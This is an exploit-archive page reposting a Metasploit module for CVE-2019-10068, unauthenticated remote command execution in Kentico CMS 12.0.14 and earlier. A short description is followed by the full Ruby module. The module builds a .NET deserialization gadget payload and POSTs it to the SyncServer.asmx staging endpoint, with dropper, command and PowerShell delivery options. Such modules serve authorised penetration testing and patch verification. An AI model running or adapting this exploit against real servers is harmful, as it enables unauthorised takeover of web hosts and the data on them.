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Kentico CMS 12.0.14 Remote Command Execution

Kentico CMS 12.0.14 Remote Command Execution
Posted May 6, 2020
Authored by aushack, Manoj Cherukuri, Justin LeMay | Site metasploit.com

This Metasploit module exploits a vulnerability in the Kentico CMS platform versions 12.0.14 and earlier. Remote command execution is possible via unauthenticated XML requests to the Staging Service SyncServer.asmx interface ProcessSynchronizationTaskData method stagingTaskData parameter. XML input is passed to an insecure .NET deserialize call which allows for remote command execution.

tags | exploit, remote
advisories | CVE-2019-10068
SHA-256 | 5b68d0d542ef6100308fe77d235af8615fef5ce550885eedaeb120ad41bc9f6f

Kentico CMS 12.0.14 Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'Kentico CMS Staging SyncServer Unserialize Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the Kentico CMS platform versions 12.0.14 and earlier.
Remote Command Execution is possible via unauthenticated XML requests to the Staging Service
SyncServer.asmx interface ProcessSynchronizationTaskData method stagingTaskData parameter. XML
input is passed to an insecure .NET deserialize call which allows for remote command execution.
},
'DisclosureDate' => '2019-04-15',
'Author' =>
[
'Manoj Cherukuri', # Discovery
'Justin LeMay', # Discovery
'aushack', # msf exploit
],
'References' =>
[
['CVE', '2019-10068'],
['URL', 'https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/']
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Payload' => { 'DisableNops' => true },
'Targets' => [
[ 'Windows EXE Dropper',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper
],
[ 'Windows Command',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 3000
],
[ 'Windows Powershell',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
]
]
))

register_options([
OptString.new('TARGETURI', [ true, 'Path to SyncServer.asmx', '/CMSPages/Staging/SyncServer.asmx']),
Opt::RPORT(80)
])
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})

if res && res.body =~ /SyncServer Web Service/i # SOAP endpoint disco / WSDL
return CheckCode::Detected
end

return CheckCode::Safe
end

def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
cmd_target = targets.select {|target| target['Type'] == :windows_command}.first
execute_cmdstager({linemax: cmd_target.opts['Space']})
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end

def execute_command(cmd, opts = {})
sploit = ::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :WindowsIdentity,
formatter: :SoapFormatter
)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/ProcessSynchronizationTaskData'),
'method' => 'POST',
'vars_post' => {'stagingTaskData' => sploit}
})

unless res && res.body.include?('Unable to cast object of type')
fail_with(Failure::UnexpectedReply, 'The payload was rejected')
end
end
end
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